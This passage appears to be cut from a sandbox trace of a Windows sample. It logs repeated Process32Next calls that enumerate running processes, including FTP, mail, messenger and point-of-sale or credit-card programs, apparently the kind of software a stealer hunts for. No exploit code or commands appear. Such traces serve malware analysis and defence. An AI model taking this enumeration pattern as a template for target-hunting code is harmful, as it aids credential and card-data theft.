th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.779] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.782] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.785] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.787] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.790] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.794] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.797] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.800] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.803] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.807] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.810] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.814] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0256.817] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.824] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.829] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0256.837] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.840] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.843] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0256.845] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.849] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.851] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.855] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.858] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0256.887] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0256.889] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0256.892] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0256.893] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0256.896] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0256.898] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0256.901] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0256.903] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0256.906] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0256.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0256.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0256.914] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0256.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0256.927] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0256.963] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0256.967] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0256.971] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0256.978] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0256.984] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0256.989] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0256.995] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0256.999] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0257.005] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0257.010] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0257.016] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0257.020] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0257.033] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0257.037] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0257.042] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0257.048] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0257.053] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0257.057] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0257.061] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0257.067] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0257.072] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0257.077] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0257.081] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0257.088] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0257.092] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0257.098] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0257.103] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0257.108] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0257.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0257.116] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0257.121] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0257.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0257.159] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0257.164] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0257.167] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0257.169] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0257.172] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0257.176] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0257.179] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0257.182] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0257.187] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0257.191] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0257.194] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0257.199] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, 